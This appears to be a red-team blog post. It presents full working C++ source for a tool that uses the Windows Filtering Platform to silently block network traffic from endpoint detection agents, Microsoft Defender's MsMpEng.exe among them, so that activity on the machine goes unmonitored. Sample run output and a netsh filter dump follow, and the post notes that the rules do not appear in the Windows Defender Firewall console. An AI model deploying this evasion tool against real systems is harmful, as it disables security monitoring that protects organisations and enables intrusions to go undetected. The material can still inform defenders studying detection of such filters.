Endpoint Detection and Response (EDR) agents are often used by security analysts to determine what activity occurs on an endpoint. Disabling these solutions has become increasingly complicated, however we can block traffic emitting from these applications to ensure activity taking place on the endpoint is not monitored.
Microsoft provide the Windows Filtering Platform (WFP) API for creating network filtering applications. The Windows Firewall is built on top of this.
The following C++ application uses WFP to block traffic from a list of applications. It carries out the following steps:
- Uses the FwpmEngineOpen0() function to interact with the WFP engine
- Uses the function FindProcessPath() to run the location of executables we want to block
- Uses FwpmGetAppIdFromFileName0() to find the application ID for each executable
- Creates an array of traffic “layers”, including inbound and outbound IPv4/v6 traffic
- Uses AddFilterForLayer() to install the traffic block layers
Since the rules are added to WFP directly, they won’t be visible in the Windows Defender Firewall inbound or outbound rules. In addition, the rules will apply irrespective of the network profile (i.e, public, private, domain joined).
// BlockEDRTraffic.cpp
#include <windows.h>
#include <fwpmu.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <vector>
#include <string>
#pragma comment(lib, "fwpuclnt.lib")
#pragma comment(lib, "rpcrt4.lib")
void DisplayError(const char* msg, DWORD err)
{
printf("%s failed (0x%08lx)\n", msg, err);
}
BOOL FindProcessPath(const wchar_t* targetName, std::vector<std::wstring>& results)
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE)
return FALSE;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(pe32);
if (!Process32FirstW(snapshot, &pe32)) {
CloseHandle(snapshot);
return FALSE;
}
do {
if (_wcsicmp(pe32.szExeFile, targetName) == 0)
{
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess) {
wchar_t path[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageNameW(hProcess, 0, path, &size)) {
results.push_back(path);
}
CloseHandle(hProcess);
}
}
} while (Process32NextW(snapshot, &pe32));
CloseHandle(snapshot);
return !results.empty();
}
DWORD AddFilterForLayer(
HANDLE engine,
FWP_BYTE_BLOB* appId,
const GUID* layerKey,
UINT64* filterIdOut)
{
FWPM_FILTER_CONDITION cond = { 0 };
cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
cond.matchType = FWP_MATCH_EQUAL;
cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
cond.conditionValue.byteBlob = appId;
FWPM_FILTER filter = { 0 };
filter.layerKey = *layerKey;
filter.displayData.name = _wcsdup(L"EDR Traffic Block");
filter.displayData.description = _wcsdup(L"Blocks EDR traffic");
filter.action.type = FWP_ACTION_BLOCK;
filter.filterCondition = &cond;
filter.numFilterConditions = 1;
filter.subLayerKey = FWPM_SUBLAYER_UNIVERSAL;
filter.weight.type = FWP_EMPTY;
return FwpmFilterAdd0(engine, &filter, NULL, filterIdOut);
}
int main()
{
DWORD result;
HANDLE engine = NULL;
// Open WFP engine
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, NULL, &engine);
if (result != ERROR_SUCCESS) {
DisplayError("FwpmEngineOpen0", result);
return 1;
}
printf("WFP engine opened.\n");
const wchar_t* targetProcesses[] = {
L"MsMpEng.exe",
L"brave.exe",
NULL
};
std::vector<UINT64> allFilterIds;
for (int i = 0; targetProcesses[i] != NULL; i++)
{
const wchar_t* exeName = targetProcesses[i];
std::vector<std::wstring> foundPaths;
if (!FindProcessPath(exeName, foundPaths)) {
wprintf(L"[INFO] No running processes found for %ls\n", exeName);
continue;
}
for (const auto& path : foundPaths)
{
wprintf(L"Found running instance: %ls\n", path.c_str());
FWP_BYTE_BLOB* appId = NULL;
result = FwpmGetAppIdFromFileName0(path.c_str(), &appId);
if (result != ERROR_SUCCESS) {
DisplayError("FwpmGetAppIdFromFileName0", result);
continue;
}
const GUID* layers[] = {
&FWPM_LAYER_ALE_AUTH_CONNECT_V4,
&FWPM_LAYER_ALE_AUTH_CONNECT_V6,
&FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4,
&FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6
};
for (auto layer : layers)
{
UINT64 filterId = 0;
result = AddFilterForLayer(engine, appId, layer, &filterId);
if (result == ERROR_SUCCESS)
{
allFilterIds.push_back(filterId);
wprintf(L" [+] Filter applied for layer.\n");
}
else
{
DisplayError("AddFilterForLayer", result);
}
}
FwpmFreeMemory0((void**)&appId);
}
}
printf("\nFilters installed.\n");
printf("Press ENTER to remove all filters and exit...\n");
getchar();
// Remove filters
for (UINT64 id : allFilterIds)
FwpmFilterDeleteById0(engine, id);
FwpmEngineClose0(engine);
printf("All filters removed. Engine closed.\n");
return 0;
}
Running the program shows the target applications have been identified, and associated block rules are added.
BlockEDRTraffic.exe
WFP engine opened.
Found running instance: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25090.3009-0\MsMpEng.exe
[+] Filter applied for layer.
[+] Filter applied for layer.
[+] Filter applied for layer.
[+] Filter applied for layer.
Found running instance: C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe
[+] Filter applied for layer.
[+] Filter applied for layer.
[+] Filter applied for layer.
[+] Filter applied for layer.
Filters installed.
Press ENTER to remove all filters and exit...
To view the installed rules, you can use netsh to dump the filterset into an XML file.
C:\>netsh wfp show filters
Data collection successful; output = filters.xml
Reviewing the contents of this file, we can see our block rule has been included.
<item>
<filterKey>{22bc925d-ca5d-4979-8ecd-16e1f1a7d28f}</filterKey>
<displayData>
<name>EDR Traffic Block</name>
<description>Blocks EDR traffic</description>
</displayData>
<flags numItems="1">
<item>FWPM_FILTER_FLAG_INDEXED</item>
</flags>
<providerKey/>
<providerData/>
<layerKey>FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4</layerKey>
<subLayerKey>FWPM_SUBLAYER_UNIVERSAL</subLayerKey>
<weight>
<type>FWP_EMPTY</type>
</weight>
<filterCondition numItems="1">
<item>
<fieldKey>FWPM_CONDITION_ALE_APP_ID</fieldKey>
<matchType>FWP_MATCH_EQUAL</matchType>
<conditionValue>
<type>FWP_BYTE_BLOB_TYPE</type>
<byteBlob>
<data>5c006400650076006900630065005c0068006100720064006400690073006b0076006f006c0075006d00650034005c00700072006f006700720061006d0064006100740061005c006d006900630072006f0073006f00660074005c00770069006e0064006f0077007300200064006500660065006e006400650072005c0070006c006100740066006f0072006d005c0034002e00310038002e00320035003000390030002e0033003000300039002d0030005c006d0073006d00700065006e0067002e006500780065000000</data>
<asString>\device\harddiskvolume4\programdata\microsoft\windows defender\platform\4.18.25090.3009-0\msmpeng.exe</asString>
</byteBlob>
</conditionValue>
</item>
</filterCondition>
<action>
<type>FWP_ACTION_BLOCK</type>
<filterType/>
</action>
<rawContext>0</rawContext>
<reserved/>
<filterId>75816</filterId>
<effectiveWeight>
<type>FWP_UINT64</type>
<uint64>549755813888</uint64>
</effectiveWeight>
</item>
In Conclusion
An important thing to note here is the rules will only block new connections, but not terminate existing ones. Blocking existing connections would require access to lower WFP layers such as FWPM_LAYER_OUTBOUND_TRANSPORT_V4 which require kernel access.